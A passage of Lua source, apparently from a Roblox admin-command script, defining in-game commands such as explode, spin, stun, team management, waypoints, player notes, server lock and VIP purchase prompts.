7647 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7648 GUI:CommandBar(Speaker)
7649 PermCommandBars[Speaker.Name] = true
7650 end};
7651
7652 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7653 PermCommandBars[Speaker.Name] = nil
7654 end};
7655
7656 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7657 local Players = STRING:Scan(Arguments[1], Speaker)
7658 for _,Player in pairs(Players) do
7659 PermCommandBars[Player.Name] = nil
7660 end
7661 end};
7662
7663 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7664 CORE:CreateFigure("Dummy", nil, true, Speaker)
7665 end};
7666
7667 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7668 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7669 end};
7670
7671 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7672 local Players = STRING:Scan(Arguments[1], Speaker)
7673 for _,Player in pairs(Players) do
7674 CORE:ClonePlayer(Player)
7675 end
7676 end};
7677
7678 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7679 local Players = STRING:Scan(Arguments[1], Speaker)
7680 for _,Player in pairs(Players) do
7681 CORE:ClonePlayer(Player, Arguments[2])
7682 end
7683 end};
7684
7685 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7686 for _,Obj in pairs(Objects) do
7687 if Obj then Obj:Destroy() end
7688 end
7689 for Name,Jail in pairs(Jails) do
7690 if not game.Players:FindFirstChild(Name) then
7691 Jail:Destroy()
7692 Jails[Name] = nil
7693 end
7694 end
7695 Objects = {}
7696 end};
7697
7698 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7699 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7700 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7701 Obj:Destroy()
7702 end
7703 end
7704 end};
7705
7706 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7707 local Players = STRING:Scan(Arguments[1], Speaker)
7708 for _,Player in pairs(Players) do
7709 if Player.Character and Player.Character:FindFirstChild("Torso") then
7710 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7711 end
7712 end
7713 end};
7714
7715 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7716 local Players = STRING:Scan(Arguments[1], Speaker)
7717 for _,Player in pairs(Players) do
7718 if Player.Character and Player.Character:FindFirstChild("Torso") then
7719 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7720 end
7721 end
7722 end};
7723
7724 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7725 local Players = STRING:Scan(Arguments[1], Speaker)
7726 for _,Player in pairs(Players) do
7727 if Player.Character and Player.Character:FindFirstChild("Torso") then
7728 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7729 end
7730 end
7731 end};
7732
7733 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7734 local Players = STRING:Scan(Arguments[1], Speaker)
7735 for _,Player in pairs(Players) do
7736 if Player.Character and Player.Character:FindFirstChild("Torso") then
7737 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7738 if Get:IsA("Sparkles") then
7739 Get:Destroy()
7740 end
7741 end
7742 end
7743 end
7744 end};
7745
7746 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7747 local Players = STRING:Scan(Arguments[1], Speaker)
7748 for _,Player in pairs(Players) do
7749 if Player.Character and Player.Character:FindFirstChild("Torso") then
7750 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7751 if Get:IsA("Fire") then
7752 Get:Destroy()
7753 end
7754 end
7755 end
7756 end
7757 end};
7758
7759 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7760 local Players = STRING:Scan(Arguments[1], Speaker)
7761 for _,Player in pairs(Players) do
7762 if Player.Character and Player.Character:FindFirstChild("Torso") then
7763 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7764 if Get:IsA("Smoke") then
7765 Get:Destroy()
7766 end
7767 end
7768 end
7769 end
7770 end};
7771
7772 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7773 local Players = STRING:Scan(Arguments[1], Speaker)
7774 for _,Player in pairs(Players) do
7775 if Player.Character and Player.Character:FindFirstChild("Torso") then
7776 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7777 local Boom = Instance.new("Explosion", Workspace)
7778 Boom.Position = Player.Character.Torso.Position
7779 end
7780 end
7781 end};
7782
7783 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7784 local Players = STRING:Scan(Arguments[1], Speaker)
7785 for _,Player in pairs(Players) do
7786 if Player.Character and Player.Character:FindFirstChild("Torso") then
7787 coroutine.wrap(function() for i = 1,50 do
7788 local Boom = Instance.new("Explosion", Workspace)
7789 Boom.Position = Player.Character.Torso.Position
7790 wait()
7791 end end)()
7792 coroutine.wrap(function() for i = 1,5 do
7793 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7794 end end)()
7795 end
7796 end
7797 end};
7798
7799 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7800 local Players = STRING:Scan(Arguments[1], Speaker)
7801 for _,Player in pairs(Players) do
7802 if Player.Character and Player.Character:FindFirstChild("Torso") then
7803 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7804 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7805 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7806 end
7807 end
7808 end};
7809
7810 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7811 local Players = STRING:Scan(Arguments[1], Speaker)
7812 for _,Player in pairs(Players) do
7813 if Player.Character and Player.Character:FindFirstChild("Torso") then
7814 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7815 end
7816 end
7817 end};
7818
7819 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7820 local Players = STRING:Scan(Arguments[1], Speaker)
7821 for _,Player in pairs(Players) do
7822 if Player.Character then
7823 Player.Character.Parent = Server.Lighting
7824 end
7825 end
7826 end};
7827
7828 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7829 local Players = STRING:Scan(Arguments[1], Speaker)
7830 for _,Player in pairs(Players) do
7831 if Player.Character then
7832 Player.Character.Parent = Server.Workspace
7833 Player.Character:MakeJoints()
7834 end
7835 end
7836 end};
7837
7838 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7839 local Players = STRING:Scan(Arguments[1], Speaker)
7840 for _,Player in pairs(Players) do
7841 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7842 Player.Character.Humanoid.PlatformStand = true
7843 end
7844 end
7845 end};
7846
7847 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7848 local Players = STRING:Scan(Arguments[1], Speaker)
7849 for _,Player in pairs(Players) do
7850 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7851 Player.Character.Humanoid.PlatformStand = false
7852 end
7853 end
7854 end};
7855
7856 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7857 local Players = STRING:Scan(Arguments[1], Speaker)
7858 for _,Player in pairs(Players) do
7859 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7860 Player.Character.Humanoid.Jump = true
7861 end
7862 end
7863 end};
7864
7865 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7866 local Players = STRING:Scan(Arguments[1], Speaker)
7867 for _,Player in pairs(Players) do
7868 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7869 Player.Character.Humanoid.Sit = true
7870 end
7871 end
7872 end};
7873
7874 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7875 local Players = STRING:Scan(Arguments[1], Speaker)
7876 for _,Player in pairs(Players) do
7877 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7878 Player.Character.Humanoid.Sit = false
7879 end
7880 end
7881 end};
7882
7883 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7884 local Players = STRING:Scan(Arguments[1], Speaker)
7885 for _,Player in pairs(Players) do
7886 if Player.Character and Player.Character:FindFirstChild("Torso") then
7887 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7888 end
7889 end
7890 end};
7891
7892 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7893 local Players = STRING:Scan(Arguments[1], Speaker)
7894 for _,Player in pairs(Players) do
7895 if Player.Character and Player.Character:FindFirstChild("Torso") then
7896 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7897 end
7898 end
7899 end};
7900
7901 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7902 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7903 end};
7904
7905 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7906 local Color = "Blue"
7907 local String = Arguments[2]
7908 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7909 if #ChatSplit >= 2 then
7910 if string.lower(ChatSplit[1]) == "green" then
7911 Color = "Green"
7912 String = ChatSplit[2]
7913 elseif string.lower(ChatSplit[1]) == "red" then
7914 Color = "Red"
7915 String = ChatSplit[2]
7916 end
7917 end
7918 local Players = STRING:Scan(Arguments[1], Speaker)
7919 for _,Player in pairs(Players) do
7920 if Player.Character and Player.Character:FindFirstChild("Head") then
7921 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7922 end
7923 end
7924 end};
7925
7926 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7927 local Players = STRING:Scan(Arguments[1], Speaker)
7928 for _,Player in pairs(Players) do
7929 if Player.Character then
7930 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7931 end
7932 end
7933 end};
7934
7935 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7936 local Players = STRING:Scan(Arguments[1], Speaker)
7937 local ID = nil
7938 if tonumber(Arguments[2]) ~= nil then
7939 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7940 else
7941 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7942 for _,Face in pairs(FaceTable) do
7943 if string.lower(Arguments[2]) == string.lower(Face) then
7944 ID = FaceID
7945 break
7946 end
7947 end
7948 end
7949 end
7950 if ID then
7951 for _,Player in pairs(Players) do
7952 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7953 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7954 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7955 end
7956 end
7957 end
7958 end};
7959
7960 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7961 local Players = STRING:Scan(Arguments[1], Speaker)
7962 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7963 for _,Player in pairs(Players) do
7964 if Player.Character and Player.Character:FindFirstChild("Head") then
7965 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7966 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7967 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7968 end
7969 end
7970 end};
7971
7972 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7973 local Players = STRING:Scan(Arguments[1], Speaker)
7974 for _,Player in pairs(Players) do
7975 if Player.Character and Player.Character:FindFirstChild("Head") then
7976 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7977 end
7978 end
7979 end};
7980
7981 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7982 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7983 end, Http = true};
7984
7985 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7986 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7987 end, Http = true};
7988
7989 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7990 local Players = STRING:Scan(Arguments[1], Speaker)
7991 for _,Player in pairs(Players) do
7992 local ExistingData = Player:LoadInstance("Data")
7993 if ExistingData == nil then
7994 ExistingData = Instance.new("Configuration")
7995 end
7996 ExistingData.Name = "Player Data"
7997 local Key = Instance.new("Configuration", ExistingData)
7998 Key.Name = Arguments[2]
7999 Player:SaveInstance("Data", ExistingData)
8000 end
8001 end};
8002
8003 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
8004 local Players = STRING:Scan(Arguments[1], Speaker)
8005 local Data = Arguments[2]
8006 for _,Player in pairs(Players) do
8007 local ExistingData = Player:LoadInstance("Data")
8008 if ExistingData ~= nil then
8009 if string.lower(Data) == "all" then
8010 ExistingData:ClearAllChildren()
8011 else
8012 for _,DataObj in pairs(ExistingData:GetChildren()) do
8013 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
8014 DataObj:Destroy()
8015 end
8016 end
8017 end
8018 end
8019 Player:SaveInstance("Data", ExistingData)
8020 end
8021 end};
8022
8023 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8024 local Players = STRING:Scan(Arguments[1], Speaker)
8025 local DataSet = {}
8026 for _,Player in pairs(Players) do
8027 local ExistingData = Player:LoadInstance("Data")
8028 if ExistingData ~= nil then
8029 if #ExistingData:GetChildren() ~= 0 then
8030 for _,Data in pairs(ExistingData:GetChildren()) do
8031 table.insert(DataSet, Player.Name..": "..Data.Name)
8032 end
8033 else
8034 table.insert(DataSet, "Data does not exist for "..Player.Name)
8035 end
8036 else
8037 table.insert(DataSet, "Data does not exist for "..Player.Name)
8038 end
8039 end
8040 GUI:ListGui(Speaker, "Notes", DataSet)
8041 end};
8042
8043 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
8044 local Players = STRING:Scan(Arguments[1], Speaker)
8045 for _,Player in pairs(Players) do
8046 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8047 Player.Character.Humanoid.WalkSpeed = 16
8048 end
8049 end
8050 end};
8051
8052 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
8053 local Players = STRING:Scan(Arguments[1], Speaker)
8054 for _,Player in pairs(Players) do
8055 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8056 Player.Character.Humanoid.WalkSpeed = -16
8057 end
8058 end
8059 end};
8060
8061 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
8062 local TeamColor = BrickColor.random()
8063 local TeamName = Arguments[1]
8064 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
8065 if #TeamNameSplit >= 2 then
8066 local Color = TeamNameSplit[1]
8067 local NewTeamName = TeamNameSplit[2]
8068 if Color == "Medium stone grey" then
8069 TeamColor = BrickColor.new(Color)
8070 TeamName = NewTeamName
8071 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
8072 TeamColor = BrickColor.new(Color)
8073 TeamName = NewTeamName
8074 elseif Colors[string.upper(Color)] then
8075 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
8076 TeamName = NewTeamName
8077 end
8078 end
8079
8080 local NewTeam = Instance.new("Team", Server.Teams)
8081 NewTeam.TeamColor = TeamColor
8082 NewTeam.Name = TeamName
8083 end};
8084
8085 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8086 local Players = STRING:Scan(Arguments[1], Speaker)
8087 for _,Player in pairs(Players) do
8088 Player.Neutral = true
8089 end
8090 end};
8091
8092 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8093 local Players = STRING:Scan(Arguments[1], Speaker)
8094 if string.lower(Arguments[2]) == "none" then
8095 for _,Player in pairs(Players) do
8096 Player.Neutral = true
8097 end
8098 else
8099 for _,Obj in pairs(Server.Teams:GetChildren()) do
8100 if Obj:IsA("Team") then
8101 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8102 for _,Player in pairs(Players) do
8103 Player.Neutral = false
8104 Player.TeamColor = Obj.TeamColor
8105 end
8106 end
8107 end
8108 end
8109 end
8110 end};
8111
8112 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8113 for _,Obj in pairs(Server.Teams:GetChildren()) do
8114 if Obj:IsA("Team") then
8115 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8116 for _,Player in pairs(Server.Players:GetPlayers()) do
8117 if Player.TeamColor == Obj.TeamColor then
8118 Player.Neutral = true
8119 end
8120 end
8121 Obj:Destroy()
8122 end
8123 end
8124 end
8125 end};
8126
8127 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8128 for _,Player in pairs(Server.Players:GetPlayers()) do
8129 Player.Neutral = true
8130 end
8131 for _,Obj in pairs(Server.Teams:GetChildren()) do
8132 if Obj:IsA("Team") then
8133 Obj:Destroy()
8134 end
8135 end
8136 end};
8137
8138 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8139 for _,Player in pairs(Server.Players:GetPlayers()) do
8140 GUI:Countdown(Player, Arguments[1])
8141 end
8142 end};
8143
8144 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8145 local Players = STRING:Scan(Arguments[1], Speaker)
8146 for _,Player in pairs(Players) do
8147 if Player:FindFirstChild("Backpack") then
8148 CORE:ExecuteResource("ShowAd", Player.Backpack)
8149 end
8150 end
8151 end};
8152
8153 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8154 local Players = STRING:Scan(Arguments[1], Speaker)
8155 for _,Player in pairs(Players) do
8156 if Player.Character then
8157 for PosName,WP in pairs(Waypoints) do
8158 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8159 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8160 break
8161 end
8162 end
8163 end
8164 end
8165 end};
8166
8167 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8168 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8169 end};
8170
8171 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8172 local Num = 0
8173 for PosName,WP in pairs(Waypoints) do
8174 Num = Num + 1
8175 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8176 Waypoints[PosName] = nil
8177 end
8178 end
8179 end};
8180
8181 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8182 local WaypointHolder,WaypointRaw = {},{}
8183 for Name, WP in pairs(Waypoints) do
8184 local View = Name..": "..tostring(WP)
8185 table.insert(WaypointHolder, View)
8186 WaypointRaw[View] = WP
8187 end
8188 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8189 Clicked.Event:connect(function(Text)
8190 local Waypoint = WaypointRaw[Text]
8191 if Waypoint then
8192 if Speaker.Character then
8193 Speaker.Character:MoveTo(Waypoint)
8194 end
8195 end
8196 end)
8197 end};
8198
8199 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8200 local Players = STRING:Scan(Arguments[1], Speaker)
8201 local List = {}
8202 for _,Player in pairs(Players) do
8203 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8204 end
8205 GUI:ListGui(Speaker, "Listed Players", List)
8206 end};
8207
8208 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8209 if tonumber(Arguments[1]) then
8210 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8211 else
8212 local Players = STRING:Scan(Arguments[1], Speaker)
8213 for _,Player in pairs(Players) do
8214 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8215 end
8216 end
8217 end};
8218
8219 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8220 local Players = STRING:Scan(Arguments[1], Speaker)
8221 local Friends,OneFriend = {}, false
8222 for _,Player in pairs(Players) do
8223 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8224 --[[if Player:IsBestFriendsWith(User.UserId) then
8225 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8226 OneFriend = true
8227 ]]
8228 if Player:IsFriendsWith(User.UserId) then
8229 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8230 OneFriend = true
8231 end
8232 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8233 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8234 end
8235 end end
8236 end
8237 GUI:ListGui(Speaker, "Friend List", Friends)
8238 end};
8239
8240 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8241 Settings.ServerLocked = true
8242 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8243 end};
8244
8245 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8246 Settings.ServerLocked = false
8247 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8248 end};
8249
8250 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8251 local OldAge = Settings.MinimumAge
8252 local Age = tostring(Arguments[1])
8253 if Age then
8254 Settings.MinimumAge = Age
8255 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8256 end
8257 end};
8258
8259 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8260 if Settings.VIPAdminID <= 1 then
8261 MARKET:PromptPurchase(Speaker, VIPAdminID)
8262 else
8263 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8264 end
8265 end};
8266
8267 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8268 if Settings.VIPMemberID <= 1 then
8269 MARKET:PromptPurchase(Speaker, VIPMemberID)
8270 else
8271 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8272 end
8273 end};
8274
8275 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8276 if tonumber(Arguments[2]) then
8277 local Players = STRING:Scan(Arguments[1], Speaker)
8278 local Size = tonumber(Arguments[2])+25
8279 for _,Player in pairs(Players) do
8280 if Player.Character then
8281 if Player.Character:FindFirstChild("Head") then
8282 if Player.Character.Head:FindFirstChild("Mesh") then
8283 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8284 end
8285 end
8286 end
8287 end
8288 end
8289 end};
8290
8291 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8292 local Players = STRING:Scan(Arguments[1], Speaker)
8293 for _,Player in pairs(Players) do
8294 if Player.Character and Player.Character:FindFirstChild("Torso") then
8295 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8296 Player.Character.Parent = nil
8297 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8298 end
8299 end
8300 end};
8301
8302 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8303 GUI:SettingsGui(Speaker)
8304 end};
8305
8306 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8307 if tonumber(Arguments[2]) then
8308 local Players = STRING:Scan(Arguments[1], Speaker)
8309 local List = {}
8310 for _,Player in pairs(Players) do
8311 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8312 table.insert(List, Player.Name)
8313 end
8314 end
